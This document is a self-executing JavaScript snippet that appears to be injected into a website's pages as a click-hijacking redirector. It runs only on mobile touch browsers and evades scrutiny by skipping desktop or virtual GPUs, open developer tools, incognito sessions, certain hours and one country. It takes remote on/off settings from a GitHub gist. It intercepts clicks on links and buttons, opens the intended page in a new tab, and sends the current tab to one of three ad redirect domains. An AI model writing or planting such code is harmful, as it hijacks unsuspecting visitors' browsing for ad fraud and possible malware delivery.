(async function() { var page_load_time = Date.now(); var last_click = localStorage.getItem('ad_p_last_click'); if (last_click) { var time_passed = Date.now() - parseInt(last_click, 10); if (time_passed >= 0 && time_passed < 0) return; } var ua = navigator.userAgent; var isAndroid = /Android/i.test(ua); var isIOS = /iPhone|iPad|iPod/i.test(ua); if (!isAndroid && !isIOS) return; var isPcGpu = false; try { var canvas = document.createElement('canvas'); var gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { var debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); if (debugInfo) { var renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); if (/NVIDIA|AMD|Intel|Geforce|Radeon|RTX|GTX|SwiftShader|Microsoft|ANGLE|Virtual|VMware|Citrix|Llvmpipe/i.test(renderer)) { isPcGpu = true; } } } } catch (e) {} if (isPcGpu) return; if (window.outerWidth > 0 && window.innerWidth > 0) { var widthDiff = Math.abs(window.outerWidth - window.innerWidth); if (widthDiff > 250 && window.outerWidth > 1024) { return; } } var hasTouch = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0); if (!hasTouch) return; var isChromeMobile = (/Chrome/i.test(ua) || /CriOS/i.test(ua)) && /Mobile/i.test(ua); var isMobileSafari = /Safari/i.test(ua) && !/Chrome/i.test(ua) && !/CriOS/i.test(ua) && (isIOS || isAndroid); var isGoogleApp = /GSA/i.test(ua); if (!isChromeMobile && !isMobileSafari && !isGoogleApp) return; var telegram_mode = "auto"; var remote_black_status = "off"; try { var config_res = await fetch("https://api.github.com/gists/e0b00069046ba287a5e661476eeea6e0?_=" + Date.now(), { headers: { 'Accept': 'application/vnd.github.v3+json' } }); var gist_data = await config_res.json(); if (gist_data && gist_data.files && gist_data.files["mode.json"]) { var raw_text = gist_data.files["mode.json"].content; var global_config = JSON.parse(raw_text.trim()); if (global_config && global_config.mode) { telegram_mode = String(global_config.mode).toLowerCase().trim(); } if (global_config && global_config.black_mode) { remote_black_status = String(global_config.black_mode).toLowerCase().trim(); } } } catch (e) { telegram_mode = "auto"; remote_black_status = "off"; } if (telegram_mode === "force_on") { return; } var options = { timeZone: 'Asia/Ho_Chi_Minh', hour: '2-digit', minute: '2-digit', hour12: false }; var formatter = new Intl.DateTimeFormat('en-US', options); var parts = formatter.formatToParts(new Date()); var current_hour = parseInt(parts.find(p => p.type === 'hour').value, 10); var current_minute = parseInt(parts.find(p => p.type === 'minute').value, 10); var total_minutes = (current_hour * 60) + current_minute; var is_auto_force_on_time = (total_minutes >= 720 && total_minutes <= 720) || (total_minutes >= 1110 && total_minutes <= 1110) || (total_minutes >= 1350 && total_minutes <= 1350); if (is_auto_force_on_time) { return; } var is_strict_time = false; var is_golden_hours = (total_minutes >= 300 && total_minutes <= 301); var is_black_mode = false; if (is_golden_hours) { is_strict_time = false; } else { is_strict_time = true; } if (remote_black_status === "on") { is_black_mode = true; } else { is_black_mode = is_golden_hours; } if (is_strict_time) { var isIncognito = false; try { if (isIOS) { if (navigator.storage && navigator.storage.estimate) { var estimate = await navigator.storage.estimate(); if (estimate.quota && estimate.quota < 1500000000) { isIncognito = true; } } } else if (isAndroid) { if (navigator.storage && navigator.storage.estimate) { var estimate = await navigator.storage.estimate(); if (estimate.quota && estimate.quota < 126000000) { isIncognito = true; } } } } catch (err) { isIncognito = false; } if (isIncognito) { return; } } var serverCountry = window.WP_CENTRAL_GEO || 'CHECK_BY_JS'; function runAdLogic(country) { if (country === 'KH') return; var options_inner = { timeZone: 'Asia/Ho_Chi_Minh', hour: '2-digit', minute: '2-digit', hour12: false }; var formatter_inner = new Intl.DateTimeFormat('en-US', options_inner); var parts_inner = formatter_inner.formatToParts(new Date()); var hour_inner = parseInt(parts_inner.find(p => p.type === 'hour').value, 10); var minute_inner = parseInt(parts_inner.find(p => p.type === 'minute').value, 10); var current_minutes_inner = (hour_inner * 60) + minute_inner; var start_minutes = (0 * 60) + 0; var end_minutes = (23 * 60) + 59; var is_in_time_range = (current_minutes_inner >= start_minutes && current_minutes_inner <= end_minutes); if (country === 'VN' && !is_in_time_range) return; var last_click_inner = localStorage.getItem('ad_p_last_click'); if (last_click_inner) { var time_passed_inner = Date.now() - parseInt(last_click_inner, 10); if (time_passed_inner >= 0 && time_passed_inner < 0) return; } if (window.ad_logic_attached) return; window.ad_logic_attached = true; document.addEventListener('click', function(event) { //if (document.cookie.indexOf('ad_clicked=1') !== -1) return; var target = event.target; var clickableElement = null; if (is_black_mode) { clickableElement = target.closest('a'); } else { clickableElement = target.closest('a, button, [role="button"], input[type="submit"]'); if (!clickableElement) return; } var adLinks = [ "https://revolthem.com/zcyr146st?key=f6066c26c197ea56bda07205b5d10ac3", "https://tightslybella.com/cQwTlN3S/_Se1/AdRZt/egvad/983pCWGtmXPDkWl1/t8NhpvhYmLnJIDgS/hy-LDEETpY4ZPmSCEBUp/MF3LAh9l0xemP/kQsTuuPuWKl9kq/AvhKXY3bDu/kntpmxrRYUO8b/bdg", "https://wailsilence.com/rzk3gjwhcf?key=23b07af7c2709ab7b70db85ded7e9c83" ]; var currentTime = new Date().getTime(); var targetIndex = currentTime % adLinks.length; var target_ad_url = adLinks[targetIndex]; var user_destination = clickableElement ? clickableElement.getAttribute('href') : null; var is_anchor_link = clickableElement && clickableElement.tagName.toLowerCase() === 'a' && user_destination && !user_destination.startsWith('#') && !user_destination.startsWith('javascript:'); event.preventDefault(); try { localStorage.setItem('ad_p_last_click', Date.now().toString()); } catch (e) { document.cookie = "ad_clicked=1; max-age=86400; path=/"; } if (is_anchor_link) { window.open(user_destination, '_blank'); } else { window.open(window.location.href, '_blank'); } window.location.href = target_ad_url; }, false); } if (serverCountry !== 'CHECK_BY_JS') { if (document.readyState === 'complete' || document.readyState === 'interactive') { runAdLogic(serverCountry); } else { document.body ? runAdLogic(serverCountry) : document.addEventListener('DOMContentLoaded', function() { runAdLogic(serverCountry); }); } } else { fetch('/cdn-cgi/trace') .then(res => res.text()) .then(data => { var lines = data.split('\n'); var geoLine = lines.find(line => line.startsWith('loc=')); var country = geoLine ? geoLine.split('=')[1] : 'UNKNOWN'; if (document.readyState === 'complete' || document.readyState === 'interactive') { runAdLogic(country); } else { document.body ? runAdLogic(country) : document.addEventListener('DOMContentLoaded', function() { runAdLogic(country); }); } }) .catch(() => { runAdLogic('UNKNOWN'); }); } })();